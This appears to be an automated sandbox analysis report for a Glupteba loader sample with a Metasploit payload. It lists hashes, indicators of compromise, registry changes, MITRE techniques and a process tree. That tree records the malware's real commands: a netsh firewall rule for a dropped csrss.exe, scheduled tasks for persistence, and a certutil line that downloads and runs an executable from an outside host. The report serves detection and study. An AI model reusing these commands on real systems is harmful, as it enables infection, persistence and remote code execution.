glupteba | 49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9

General

Target

49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
Size

3.8MB
MD5

7211b52a2128346943f4630764c26301
SHA1

3d5abd24418cc11ae96c4b3be8c36008856fb4ad
SHA256

49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9
SHA512

d8bdc1a4ed5efeb13b6c2c22502436869abf3f296785a3b77304db1e6514fec249b5759ab0389485d70a64750a41fd0391e30dbe6955d9dac77182b4aef36222

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1476-131-0x0000000003B60000-0x0000000004362000-memory.dmp	family_glupteba
behavioral2/memory/1476-133-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/1476-134-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/4548-138-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/4548-142-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/4172-146-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba
behavioral2/memory/4172-151-0x0000000000400000-0x000000000334E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4144 created 1476	4144	svchost.exe	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
PID 4144 created 4172	4144	svchost.exe	csrss.exe
PID 4144 created 4172	4144	svchost.exe	csrss.exe
PID 4144 created 4172	4144	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

4172 csrss.exe
2452 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

656 netsh.exe

pid	process
4172	csrss.exe
2452	patch.exe

pid	process
656	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YoungVoice = "\"C:\\Windows\\rss\\csrss.exe\""	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2596 bcdedit.exe

pid	process
2596	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
File opened for modification	C:\Windows\rss	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
3540	1476	WerFault.exe	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
2996	4548	WerFault.exe	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3156 schtasks.exe
3152 schtasks.exe

pid	process
3156	schtasks.exe
3152	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.execsrss.exe

pid	process
1476	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
1476	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
4548	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
4548	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
4172	csrss.exe
4172	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1476	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
Token: SeImpersonatePrivilege	1476	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
Token: SeTcbPrivilege	4144	svchost.exe
Token: SeTcbPrivilege	4144	svchost.exe
Token: SeBackupPrivilege	4144	svchost.exe
Token: SeRestorePrivilege	4144	svchost.exe
Token: SeBackupPrivilege	4144	svchost.exe
Token: SeRestorePrivilege	4144	svchost.exe
Token: SeBackupPrivilege	4144	svchost.exe
Token: SeRestorePrivilege	4144	svchost.exe
Token: SeBackupPrivilege	4144	svchost.exe
Token: SeRestorePrivilege	4144	svchost.exe
Token: SeSystemEnvironmentPrivilege	4172	csrss.exe
Token: SeBackupPrivilege	4144	svchost.exe
Token: SeRestorePrivilege	4144	svchost.exe
Token: SeBackupPrivilege	4144	svchost.exe
Token: SeRestorePrivilege	4144	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.execmd.execsrss.exe

description	pid	process	target process
PID 4144 wrote to memory of 4548	4144	svchost.exe	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
PID 4144 wrote to memory of 4548	4144	svchost.exe	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
PID 4144 wrote to memory of 4548	4144	svchost.exe	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
PID 4548 wrote to memory of 4780	4548	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe	cmd.exe
PID 4548 wrote to memory of 4780	4548	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe	cmd.exe
PID 4780 wrote to memory of 656	4780	cmd.exe	netsh.exe
PID 4780 wrote to memory of 656	4780	cmd.exe	netsh.exe
PID 4548 wrote to memory of 4172	4548	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe	csrss.exe
PID 4548 wrote to memory of 4172	4548	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe	csrss.exe
PID 4548 wrote to memory of 4172	4548	49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe	csrss.exe
PID 4144 wrote to memory of 3156	4144	svchost.exe	schtasks.exe
PID 4144 wrote to memory of 3156	4144	svchost.exe	schtasks.exe
PID 4144 wrote to memory of 3152	4144	svchost.exe	schtasks.exe
PID 4144 wrote to memory of 3152	4144	svchost.exe	schtasks.exe
PID 4144 wrote to memory of 2452	4144	svchost.exe	patch.exe
PID 4144 wrote to memory of 2452	4144	svchost.exe	patch.exe
PID 4172 wrote to memory of 2596	4172	csrss.exe	bcdedit.exe
PID 4172 wrote to memory of 2596	4172	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
"C:\Users\Admin\AppData\Local\Temp\49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

C:\Users\Admin\AppData\Local\Temp\49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe
"C:\Users\Admin\AppData\Local\Temp\49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4548

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4780

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:656

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4172

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3156

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3152

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:2452

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4548 -s 872
3⤵
- Program crash
PID:2996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 916
2⤵
- Program crash
PID:3540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1476 -ip 1476
1⤵
PID:4432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4548 -ip 4548
1⤵
PID:4196

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
7211b52a2128346943f4630764c26301

SHA1
3d5abd24418cc11ae96c4b3be8c36008856fb4ad

SHA256
49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9

SHA512
d8bdc1a4ed5efeb13b6c2c22502436869abf3f296785a3b77304db1e6514fec249b5759ab0389485d70a64750a41fd0391e30dbe6955d9dac77182b4aef36222

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
7211b52a2128346943f4630764c26301

SHA1
3d5abd24418cc11ae96c4b3be8c36008856fb4ad

SHA256
49174c09f2a55a85d980063228c0afe28a28c3011e0dc29087141156c31be3c9

SHA512
d8bdc1a4ed5efeb13b6c2c22502436869abf3f296785a3b77304db1e6514fec249b5759ab0389485d70a64750a41fd0391e30dbe6955d9dac77182b4aef36222

Download Submit
memory/656-137-0x0000000000000000-mapping.dmp

Download
memory/1476-131-0x0000000003B60000-0x0000000004362000-memory.dmp

Filesize
8.0MB

Download
memory/1476-133-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/1476-134-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/1476-130-0x00000000037AF000-0x0000000003B56000-memory.dmp

Filesize
3.7MB

Download
memory/2452-147-0x0000000000000000-mapping.dmp

Download
memory/2596-149-0x0000000000000000-mapping.dmp

Download
memory/3152-145-0x0000000000000000-mapping.dmp

Download
memory/3156-144-0x0000000000000000-mapping.dmp

Download
memory/4172-139-0x0000000000000000-mapping.dmp

Download
memory/4172-143-0x0000000003C00000-0x0000000003FA7000-memory.dmp

Filesize
3.7MB

Download
memory/4172-146-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/4172-150-0x0000000003C00000-0x0000000003FA7000-memory.dmp

Filesize
3.7MB

Download
memory/4172-151-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/4548-142-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/4548-138-0x0000000000400000-0x000000000334E000-memory.dmp

Filesize
47.3MB

Download
memory/4548-135-0x0000000003825000-0x0000000003BCC000-memory.dmp

Filesize
3.7MB

Download
memory/4548-132-0x0000000000000000-mapping.dmp

Download
memory/4780-136-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads